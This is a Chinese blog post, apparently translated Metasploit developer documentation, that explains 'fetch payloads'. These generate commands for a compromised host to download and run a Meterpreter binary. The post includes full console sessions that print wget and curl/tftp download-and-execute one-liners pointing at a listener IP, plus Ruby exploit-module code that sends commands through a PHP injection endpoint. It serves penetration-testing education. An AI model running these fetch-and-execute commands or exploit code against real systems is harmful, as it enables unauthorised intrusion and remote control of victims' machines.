Metasploit开发笔记之使用 Fetch Payloads

一、什么是 Fetch Payloads?

Fetch payloads 是一种改造过的基于命令的 payload,它使用远程主机上的网络二进制文件将二进制 payload 下载到该远程主机。改造的 payload 只是对现有 payload 进行的附加修改,目的是改变其行为。在这种情况下,你可以继续使用你最喜欢的二进制 payload 和传输方式,但我们在其基础上增加了一个可选的 fetch payload 适配器,用于通过网络二进制文件和服务器来分阶段传送 payload。它们的功能类似于某些命令分段器(Command Stagers),但侧重于 payload 端而非 exploit 端,从而简化了集成和可移植性。Fetch payloads 是一种快速、简单的方式,可以在目标主机上获得一个会话,前提是目标存在命令注入或代码执行漏洞,并且已知目标上有一个能够下载并存储文件的二进制文件。

二、术语

在以下文档中,使用一些特定的术语将有助于避免混淆或误解。

  • Fetch Payload:在远程主机上执行的命令,用于检索并执行已提供的 payload。
  • Fetch Binary:在远程主机上用于下载提供的 payload 的二进制文件。常见的例子包括 WGET、cURL 或 Certutil。
  • Fetch Protocol:用于下载提供的 payload 的协议,例如 HTTP、HTTPS 或 TFTP。
  • Fetch Listener:承载已提供 payload 的服务器。
  • Fetch Handler:与 Fetch Listener 相同。
  • Served Payload:我们希望执行的底层 payload,我们也可以称之为 Adapted Payload。
  • Served Payload Handler:已提供 payload 的处理程序。这只是一个标准的 payload,例如 meterpreter/reverse_tcp 或 shell_reverse_tcp。

三、组织方式

与按二进制文件组织的 Command Stagers 不同,Fetch Payloads 是按服务器来组织的。目前,我们支持 HTTP、HTTPS 和 TFTP 服务器。一旦你选择了一个 fetch payload,你可以选择一个你希望在远程主机上运行的二进制文件,用于下载已提供的 payload,并在执行前进行处理。

四、Fetch Payload 命名约定

Fetch Payload 的命名约定为: <cmd>/<platform>/<fetch protocol>/served_payload

例如:cmd/linux/https/x64/meterpreter/reverse_tcp

这将执行以下四个步骤:

  1. 创建一个 Linux/x64/meterpreter/reverse_tcp ELF 二进制文件作为已提供的 payload。
  2. 在 HTTPS 服务器上提供上述已提供的 payload。
  3. 启动已提供的 payload 处理程序,等待已提供的 payload 回调。
  4. 生成一个命令,在远程主机上执行,下载并运行已提供的 payload。

五、简单的独立示例

了解 Fetch Payloads 最直接的方法就是使用它们并查看输出。例如,假设我们有一个 Linux 目标,该目标能够通过 HTTP 连接回我们,并且存在命令执行漏洞。首先,我们来看看孤立的 payload:

msf6 exploit(multi/ssh/sshexec) > use payload/cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > show options

Module options (payload/cmd/linux/http/x64/meterpreter/reverse_tcp):

Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
FETCH_COMMAND       CURL             yes       Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_FILENAME      YXeSdwsoEfOH     no        Name to use on remote system when storing payload
FETCH_SRVHOST       0.0.0.0          yes       Local IP to use for serving payload
FETCH_SRVPORT       8080             yes       Local port to use for serving payload
FETCH_URIPATH                        no        Local URI to use for serving payload
FETCH_WRITABLE_DIR                   yes       Remote writable dir to store payload
LHOST                                yes       The listen address (an interface may be specified)
LPORT               4444             yes       The listen port


View the full module info with the info, or info -d command.

msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > 

1、选项

  • FETCH_COMMAND:我们希望在远程主机上运行的二进制文件,用于下载适配的 payload。目前,支持的选项有:在 Linux 主机上为 CURL、FTP、TFTP、TNFTP、WGET,在 Windows 主机上为 CURL、TFTP、CERTUTIL。稍后我们会详细讨论这些二进制文件的使用。

  • FETCH_FILENAME:你希望将执行的 payload 在远程主机上保存为的文件名。并非所有二进制文件都支持此选项,并且在 Windows 主机上,文件名必须以 .exe 结尾。默认值是随机生成的文件名。

  • FETCH_SRVHOST:服务器监听的 IP 地址。

  • FETCH_SRVPORT:服务器监听的端口号。

  • FETCH_URIPATH:对应 payload 文件的 URI 路径。默认值是基于底层 payload 的确定性值,因此,在 msfvenom 中创建的 payload 会与在 Framework 中启动的监听器匹配,前提是底层的 served payload 相同。

  • FETCH_WRITABLE_DIR:在远程主机上,我们希望存储已提供的 payload 的目录路径,直到其被执行。并非所有二进制文件都支持此选项。如果你设置了这个值,而目标二进制文件不支持,它将会产生错误。

其余选项将是已提供 payload 的选项;在本例中,我们的 served payload 是 linux/x64/meterpreter/reverse_tcp,因此我们只有两个附加选项:LHOST 和 LPORT。如果我们选择了不同的 payload,可能会看到不同的选项。

2、生成 Fetch Payload

msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_COMMAND WGET
FETCH_COMMAND => WGET
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_SRVHOST 10.5.135.201
FETCH_SRVHOST => 10.5.135.201
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_SRVPORT 8000
FETCH_SRVPORT => 8000
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set LHOST 10.5.135.201
LHOST => 10.5.135.201
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set LPORT 4567
LPORT => 4567
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > generate -f raw
wget -qO ./YXeSdwsoEfOH http://10.5.135.201:8000/3cP1jDrJ3uWM1WrsRx3HTw; chmod +x ./YXeSdwsoEfOH; ./YXeSdwsoEfOH &
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > 

你可以看到生成的 fetch payload:

wget -qO ./YXeSdwsoEfOH http://10.5.135.201:8000/3cP1jDrJ3uWM1WrsRx3HTw; chmod +x ./YXeSdwsoEfOH; ./YXeSdwsoEfOH &

此命令下载已提供的 payload,将其标记为可执行,然后在远程主机上执行它。

3、启动 Fetch 服务器

当你启动 Fetch Handler 时,它会同时启动托管二进制 payload 的服务器和已提供 payload 的监听器。如果将 verbose 设置为 true,你可以看到 Fetch Handler 和 Served Payload Handler 都已启动:

msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > to_handler
[*] wget -qO ./YBybOrAmkV http://10.5.135.201:8000/3cP1jDrJ3uWM1WrsRx3HTw; chmod +x ./YBybOrAmkV; ./YBybOrAmkV &
[*] Payload Handler Started as Job 0
[*] Fetch Handler listening on 10.5.135.201:8000
[*] http server started
[*] Started reverse TCP handler on 10.5.135.201:4567 

Fetch Handler 与 Served Payload Handler 是一起跟踪的,因此即使 Fetch Handler 正在监听,你在 Jobs 中只会看到 Served Payload Handler。

msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > jobs -l

Jobs
====

  Id  Name                    Payload                                     Payload opts
  --  ----                    -------                                     ------------
  0   Exploit: multi/handler  cmd/linux/http/x64/meterpreter/reverse_tcp  tcp://10.5.135.201:4567

msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > netstat -ant | grep 8000
[*] exec: netstat -ant | grep 8000

tcp        0      0 10.5.135.201:8000       0.0.0.0:*               LISTEN     

杀死 Served Payload handler 也会杀死 Fetch Handler。

msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > jobs -k 0
[*] Stopping the following job(s): 0
[*] Stopping job 0
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > netstat -ant | grep 8000
[*] exec: netstat -ant | grep 8000

msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > 

4、使用 Fetch Payloads 随时执行二进制负载

Fetch Payloads 的一个非常好的功能是,它允许你快速执行一个二进制负载,而无需依赖框架中的会话或将负载上传到目标。如果你有一个 shell 会话,或者即使是在一个非常奇特的情况中,只要能执行命令,就可以快速在框架中获得会话,而无需手动上传负载。只需要按照上面的步骤运行提供的命令即可。目前,我们提供的只有框架中的负载,但未来扩展到提供和执行任何可执行二进制文件应该是相对简单的。

5、在漏洞利用中使用它

使用 Fetch Payloads 与使用任何其他命令负载没有区别。首先,通过添加一个支持 ARCH_CMD 和目标平台(无论是 Windows 还是 Linux)的目标,来为用户提供对 Fetch payload 的访问权限。一旦目标添加完成,你可以通过调用 payload.encoded 来获得命令并将其作为要在远程目标上执行的命令。

6、与 CmdStager 配对的示例

Fetch Payloads 与命令 stager 可能会有一些重叠。让我们简要谈一下如何在漏洞利用中同时支持这两者。请查看命令 stager 文档,了解有关必需的导入和命令 stager 的具体信息。在这种情况下,我只描述了为了使 Fetch Payloads 能与命令 stager 一起工作,或者以命令 stager 的方式使用 Fetch Payloads 所需要进行的修改。

在这个示例中,我修改了命令 stager 文档中提供的代码,以支持 Linux 和 Unix 命令负载。我所做的只是为平台值提供一个数组,并将类型(Type)更改为更通用的形式:

'Targets'   =>
  [
    [ 'Linux Command',
      {
        'Arch' => [ ARCH_CMD ],
        'Platform' => [ 'unix', 'linux' ],
        'Type' => :nix_cmd
      }
    ]
  ]

对于 execute_command 方法,什么也不需要改变:

def execute_command(cmd, _opts = {})
populate_values if @sid.nil? || @token.nil?
uri = datastore['URIPATH'] + '/vendor/htmlawed/htmlawed/htmLawedTest.php'

    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(uri),
      'cookie' => 'sid=' + @sid,
      'ctype' => 'application/x-www-form-urlencoded',
      'encode_params' => true,
      'vars_post' => {
        'token' => @token,
        'text' => cmd,
        'hhook' => 'exec',
        'sid' => @sid
      }
    })
end

exploit 方法中,唯一的变化是使用了更通用的 Type 值来替代原来的类型判断,其他的都不需要更改。

  def exploit
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    case target['Type']
    when :nix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager
    end
  end

如果你有一个已经支持 Unix 命令有效载荷的漏洞利用模块,并且你希望它支持像 Fetch 有效载荷这样的 Linux 命令有效载荷,你只需要将 linux 值添加到平台数组中:

'Nix Command',
  {
    'Platform' => [ 'unix', 'linux' ],
    'Arch' => ARCH_CMD,
    'Type' => :unix_cmd,
  }

六、支持的命令

1、Windows 和 Linux 都支持

CURL
cURL 在 Windows 10 和 11 上已经预装,并且在 Linux 平台上非常常见,且跨多个版本和平台的选项非常标准化。这使得 cURL 成为 Windows 和 Linux 目标的一个良好默认选择。所有选项和服务器协议类型都支持 cURL 命令。

TFTP
TFTP 二进制文件只在极端情况下有用,因为它有很多限制:

  1. 它是 Windows 的一项功能,但在 Windows Vista 及更高版本中默认是关闭的。
  2. 尽管你可能在 Linux 和 Unix 主机上找到它,但不同版本的选项并不统一。
  3. 在许多 Linux 系统和所有 Windows 系统中,TFTP 二进制文件不允许配置端口,也不允许配置目标文件名,因此 FETCH_SRVPORT 必须始终设置为 69,FETCH_WRITABLE_DIRFETCH_FILENAME 必须为空。
  4. 因为 TFTP 是基于 UDP 协议的,并且 Framework 中的服务器实现有一些限制,每次启动 TFTP Fetch Handler 时,都会启动一个新的服务。

由于上述原因,我建议你使用高级选项 FetchListenerBindPort 来在其他端口上启动服务器,并使用像 iptables 这样的工具将连接重定向到一个高端口。例如,如果你在 Linux 主机上使用 iptables,你可以执行以下命令将 UDP 端口 69 的连接重定向到 UDP 端口 3069:

sudo iptables -t nat -I PREROUTING -p udp --dport 69 -j REDIRECT --to-ports 3069  
sudo iptables -t nat -I OUTPUT -p udp -d 127.0.0.1 --dport 69 -j REDIRECT --to-ports 3069  

然后,你可以将 FetchListenerBindPort 设置为 3069,从而正确接收回调。

msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > jobs

Jobs
====

  Id  Name                    Payload                                       Payload opts
  --  ----                    -------                                       ------------
  2   Exploit: multi/handler  cmd/windows/tftp/x64/meterpreter/reverse_tcp  tcp://10.5.135.201:4444

msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set LPORT 4445
LPORT => 4445
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > to_handler

[*] Command to run on remote host: curl -so plEYxIdBQna.exe tftp://10.5.135.201:8080/test1 & start /B plEYxIdBQna.exe
[*] Payload Handler Started as Job 4

[*] starting tftpserver on 10.5.135.201:8080
[*] Started reverse TCP handler on 10.5.135.201:4445 
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > jobs

Jobs
====

  Id  Name                    Payload                                       Payload opts
  --  ----                    -------                                       ------------
  2   Exploit: multi/handler  cmd/windows/tftp/x64/meterpreter/reverse_tcp  tcp://10.5.135.201:4444
  4   Exploit: multi/handler  cmd/windows/tftp/x64/meterpreter/reverse_tcp  tcp://10.5.135.201:4445

msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > netstat -an | grep 8080
[*] exec: netstat -an | grep 8080

udp        0      0 10.5.135.201:8080       0.0.0.0:*                          
udp        0      0 10.5.135.201:8080       0.0.0.0:*                          
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set FETCH_URIPATH test4
FETCH_URIPATH => test4
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set LPORT 8547
LPORT => 8547
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > to_handler

[*] Command to run on remote host: curl -so DOjmRoCOSMn.exe tftp://10.5.135.201:8080/test4 & start /B DOjmRoCOSMn.exe
[*] Payload Handler Started as Job 5

[*] starting tftpserver on 10.5.135.201:8080
[*] Started reverse TCP handler on 10.5.135.201:8547 
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > netstat -an | grep 8080
[*] exec: netstat -an | grep 8080

udp        0      0 10.5.135.201:8080       0.0.0.0:*                          
udp        0      0 10.5.135.201:8080       0.0.0.0:*                          
udp        0      0 10.5.135.201:8080       0.0.0.0:*                          

2、Windows 专用

Certutil
Certutil 是一个很适合 Windows 目标的工具——它很可能存在于大多数最近版本的 Windows 中,并且具有高度的可配置性。唯一麻烦的地方是 Certutil 没有不安全模式,因此,如果你使用 Certutil 和 HTTPS 协议,证书必须是正确且经过验证的。它支持 HTTP 和 HTTPS 协议。

3、Linux 专用

FTP
FTP 是一个古老但有用的二进制文件。虽然我们支持使用 FTP 二进制文件,但我们并没有提供 FTP 服务器。现代版本的 FTP 支持 HTTP 和 HTTPS 协议。不幸的是,我们仅支持现代版本的内联 FTP,因此它可能不适用于较旧的系统。

TNFTP
TNFTP(不要与 TFTP 混淆)是 FTP 的一个更新版本。它与现代 FTP 完全相同,但有时系统上同时存在旧版 FTP 和 TNFTP,因此命令可能是 tnftp 而不是 ftp

WGET
WGET 很可能是针对 Linux-only 目标的首选。它支持 HTTPS 和 HTTP 协议,并且支持所有 Fetch 负载选项。它在 Linux 主机上非常普遍且标准化,因此是一个非常好的选择。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

人间酒中仙

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值